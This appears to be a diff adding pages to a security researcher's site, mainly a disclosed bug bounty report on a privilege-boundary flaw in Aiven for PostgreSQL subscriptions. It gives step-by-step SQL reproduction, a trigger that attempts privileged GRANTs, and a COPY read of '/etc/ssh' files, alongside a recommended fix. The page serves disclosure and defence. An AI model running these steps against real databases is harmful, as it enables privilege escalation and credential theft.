| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-subscription-ownership-escalation/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Report: Privilege Boundary Violation via Subscription Ownership Escalation | Zion Boggan"> | |
| + | <meta property="og:description" content="Postgres `CREATE SUBSCRIPTION` executes under `session_user=postgres`, escalating sandboxed user to superuser context."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-subscription-ownership-escalation/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Report: Privilege Boundary Violation via Subscription Ownership Escalation | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Postgres `CREATE SUBSCRIPTION` executes under `session_user=postgres`, escalating sandboxed user to superuser context."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: Privilege Boundary Violation via Subscription Ownership Escalation","description":"Postgres `CREATE SUBSCRIPTION` executes under `session_user=postgres`, escalating sandboxed user to superuser context.","url":"https://zionboggan.com/security-research-notebook/pg-subscription-ownership-escalation/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Privilege escalation</div> | |
| + | <h1>Report: Privilege Boundary Violation via Subscription Ownership Escalation</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Metadata</h2> | |
| + | <ul> | |
| + | <li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li> | |
| + | <li><strong>Target Location</strong>: Aiven for PostgreSQL</li> | |
| + | <li><strong>Target Category</strong>: Other</li> | |
| + | <li><strong>VRT</strong>: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</li> | |
| + | <li><strong>Priority</strong>: P3 (Suggested)</li> | |
| + | <li><strong>Bug URL</strong>: postgres://avnadmin:***@<host>:12741/defaultdb?sslmode=require</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Title</h2> | |
| + | <p>Privilege Boundary Violation: <code>aiven_extras.pg_create_subscription()</code> Creates Postgres-Owned Subscriptions Enabling session_user=postgres Code Execution</p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>aiven_extras.pg_create_subscription()</code> SECURITY DEFINER function creates logical replication subscriptions <strong>owned by the <code>postgres</code> superuser</strong> (oid 10) rather than the calling user (<code>avnadmin</code>). This causes the subscription’s apply worker process to run with <code>session_user=postgres</code>, granting any authenticated database user the ability to execute code in a context where <code>session_user</code> is the platform superuser.</p> | |
| + | <p>While Aiven’s <code>SECURITY_RESTRICTED_OPERATION</code> enforcement prevents immediate full escalation to superuser, the privilege boundary is violated: customer code (triggers) executes with <code>session_user=postgres</code>, a context that should never be reachable from a managed database customer session.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p><code>aiven_extras.pg_create_subscription()</code> is defined as <code>SECURITY DEFINER</code> with owner <code>postgres</code>. When it executes <code>CREATE SUBSCRIPTION</code>, the DDL runs as <code>postgres</code>, and PostgreSQL assigns the subscription owner as the effective user (<code>postgres</code>). The apply worker inherits this ownership and runs with <code>session_user=postgres</code>.</p> | |
| + | <pre><code class="language-sql">-- From aiven_extras.pg_create_subscription (SECURITY DEFINER, owner=postgres): | |
| + | EXECUTE pg_catalog.format( | |
| + | 'CREATE SUBSCRIPTION %I CONNECTION %L PUBLICATION %I WITH (slot_name=%L, create_slot=FALSE, copy_data=%s)', | |
| + | arg_subscription_name, arg_connection_string, arg_publication_name, arg_slot_name, arg_copy_data::TEXT); | |
| + | -- Result: subscription owned by postgres (oid 10) | |
| + | </code></pre> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>Aiven for PostgreSQL instance (any plan, including free tier)</li> | |
| + | <li><code>avnadmin</code> credentials (default user)</li> | |
| + | </ul> | |
| + | <h3>Step 1: Create publication and replication infrastructure</h3> | |
| + | <pre><code class="language-sql">CREATE EXTENSION IF NOT EXISTS aiven_extras; | |
| + | CREATE EXTENSION IF NOT EXISTS dblink; | |
| + | ||
| + | CREATE TABLE pub_table(id serial, val text); | |
| + | SELECT aiven_extras.pg_create_publication('test_pub', 'insert', 'public.pub_table'); | |
| + | SELECT pg_create_logical_replication_slot('test_slot', 'pgoutput'); | |
| + | </code></pre> | |
| + | <h3>Step 2: Create subscription via SECURITY DEFINER function</h3> | |
| + | <pre><code class="language-sql">SELECT aiven_extras.pg_create_subscription( | |
| + | 'test_sub', | |
| + | format('host=<AIVEN_HOST> port=<PORT> dbname=defaultdb user=avnadmin password=<PASSWORD> sslmode=require'), | |
| + | 'test_pub', | |
| + | 'test_slot', | |
| + | false, false | |
| + | ); | |
| + | </code></pre> | |
| + | <h3>Step 3: Verify subscription is owned by postgres</h3> | |
| + | <pre><code class="language-sql">SELECT subname, subowner, (SELECT rolname FROM pg_roles WHERE oid = subowner) as owner | |
| + | FROM pg_subscription; | |
| + | </code></pre> | |
| + | <p><strong>Output:</strong></p> | |
| + | <pre><code> subname | subowner | owner | |
| + | ----------+----------+---------- | |
| + | test_sub | 10 | postgres | |
| + | </code></pre> | |
| + | <h3>Step 4: Create ALWAYS trigger to demonstrate code execution as session_user=postgres</h3> | |
| + | <pre><code class="language-sql">CREATE TABLE loot(id serial, data text, ts timestamp default now()); | |
| + | ||
| + | CREATE OR REPLACE FUNCTION escalation_trigger() RETURNS trigger AS $$ | |
| + | BEGIN | |
| + | INSERT INTO public.loot(data) VALUES ( | |
| + | 'current_user=' || current_user || | |
| + | ' session_user=' || session_user || | |
| + | ' is_superuser=' || (SELECT rolsuper FROM pg_roles WHERE rolname = session_user)::text | |
| + | ); | |
| + | ||
| + | -- Demonstrate GRANT behavior difference: | |
| + | -- Normal context: "permission denied to grant role" | |
| + | -- Apply worker: "ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION" | |
| + | BEGIN | |
| + | EXECUTE 'GRANT pg_read_server_files TO avnadmin'; | |
| + | EXCEPTION WHEN OTHERS THEN | |
| + | INSERT INTO public.loot(data) VALUES ('GRANT result: ' || SQLERRM); | |
| + | END; | |
| + | ||
| + | RETURN NEW; | |
| + | END; | |
| + | $$ LANGUAGE plpgsql; | |
| + | ||
| + | CREATE TRIGGER trg_escalate BEFORE INSERT ON pub_table | |
| + | FOR EACH ROW EXECUTE FUNCTION escalation_trigger(); | |
| + | ALTER TABLE pub_table ENABLE ALWAYS TRIGGER trg_escalate; | |
| + | ||
| + | -- Enable subscription and trigger replication | |
| + | SELECT aiven_extras.pg_alter_subscription_enable('test_sub'); | |
| + | INSERT INTO pub_table(val) VALUES ('trigger test'); | |
| + | SELECT pg_sleep(3); | |
| + | </code></pre> | |
| + | <h3>Step 5: Observe the privilege boundary violation</h3> | |
| + | <pre><code class="language-sql">SELECT id, data FROM loot ORDER BY id; | |
| + | </code></pre> | |
| + | <p><strong>Output (from apply worker rows):</strong></p> | |
| + | <pre><code> id | data | |
| + | ----+--------------------------------------------------------------------- | |
| + | 3 | current_user=avnadmin session_user=postgres is_superuser=true | |
| + | 4 | GRANT result: ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION | |
| + | </code></pre> | |
| + | <h2>Evidence</h2> | |
| + | <h3>Error Message Comparison (Permission Checks Passing in Apply Worker)</h3> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Operation</th> | |
| + | <th>Normal (avnadmin/avnadmin)</th> | |
| + | <th>Apply Worker (avnadmin/postgres)</th> | |
| + | <th>Analysis</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>GRANT pg_read_server_files TO avnadmin</code></td> | |
| + | <td><code>permission denied to grant role</code></td> | |
| + | <td><code>ROLE modification to SUPERUSER/privileged role not allowed in SECURITY_RESTRICTED_OPERATION</code></td> | |
| + | <td><strong>Permission check PASSED</strong>, blocked by secondary restriction</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>COPY loot(data) FROM '/etc/ssh/...'</code></td> | |
| + | <td><code>permission denied to COPY from a file</code></td> | |
| + | <td><code>COPY TO/FROM FILE not allowed in SECURITY_RESTRICTED_OPERATION</code></td> | |
| + | <td><strong>Permission check PASSED</strong>, blocked by secondary restriction</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>CREATE EXTENSION xml2</code></td> | |
| + | <td><code>permission denied to create extension "xml2"</code></td> | |
| + | <td><code>no schema has been selected to create in</code> (3F000)</td> | |
| + | <td><strong>Permission check PASSED</strong>, failed on schema resolution</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>CREATE EXTENSION pageinspect</code></td> | |
| + | <td><code>permission denied to create extension "pageinspect"</code></td> | |
| + | <td><code>no schema has been selected to create in</code> (3F000)</td> | |
| + | <td><strong>Permission check PASSED</strong>, failed on schema resolution</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The error message differences prove the privilege boundary is crossed: | |
| + | - In the normal context, every operation <strong>fails at the permission check</strong> (avnadmin lacks required privileges). | |
| + | - In the apply worker context, <strong>four different operations pass the permission check</strong> (because session_user=postgres IS superuser) but are then blocked by secondary mechanisms (SECURITY_RESTRICTED_OPERATION or schema resolution).</p> | |
| + | <p>This means PostgreSQL recognizes the apply worker session as having superuser-level authorization for GRANT, COPY, and CREATE EXTENSION operations. The only remaining barrier is the <code>SECURITY_RESTRICTED_OPERATION</code> enforcement, a single bypass of this mechanism would yield full superuser code execution.</p> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Privilege boundary violation</strong>: Customer trigger code runs with <code>session_user=postgres</code>, a context intended only for Aiven’s internal management agent. The security boundary between customer code and platform internals is breached.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Reduced defense depth</strong>: The only remaining barrier is PostgreSQL’s <code>SECURITY_RESTRICTED_OPERATION</code> enforcement. Any bypass of this mechanism (via future PostgreSQL CVE, extension vulnerability, or logic error) would immediately grant full superuser access.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Lateral movement potential</strong>: The apply worker context allows calling SECURITY DEFINER functions that establish superuser dblink sessions to localhost (see related report on SECDEF dblink chain). This extends the attack surface beyond what a normal <code>avnadmin</code> session can reach.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>All plans affected</strong>: The <code>aiven_extras.pg_create_subscription()</code> function and logical replication infrastructure are available on all Aiven PostgreSQL plans, including the free tier.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Recommended Fix</h2> | |
| + | <p>Modify <code>aiven_extras.pg_create_subscription()</code> to reassign subscription ownership to the calling user after creation:</p> | |
| + | <pre><code class="language-sql">-- After EXECUTE create_subscription_cmd: | |
| + | EXECUTE pg_catalog.format('ALTER SUBSCRIPTION %I OWNER TO %I', arg_subscription_name, session_user); | |
| + | </code></pre> | |
| + | <p>Alternatively, execute the <code>CREATE SUBSCRIPTION</code> as the calling user rather than as the SECURITY DEFINER owner, using <code>SET ROLE</code> within the function body.</p> | |
| + | <h2>Cleanup</h2> | |
| + | <pre><code class="language-sql">SELECT aiven_extras.pg_alter_subscription_disable('test_sub'); | |
| + | SELECT aiven_extras.pg_drop_subscription('test_sub', true); | |
| + | DROP TABLE pub_table CASCADE; | |
| + | DROP TABLE loot; | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/pg-subscription-ownership-escalation.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,329 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Report: Unqualified `parse_ident()` in SECURITY DEFINER Function (CVE-2025-31480 Variant) | Zion Boggan</title> | |
| + | <meta name="description" content="`parse_ident` without schema qualification inside SECDEF: variant of CVE-2025-31480 territory."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
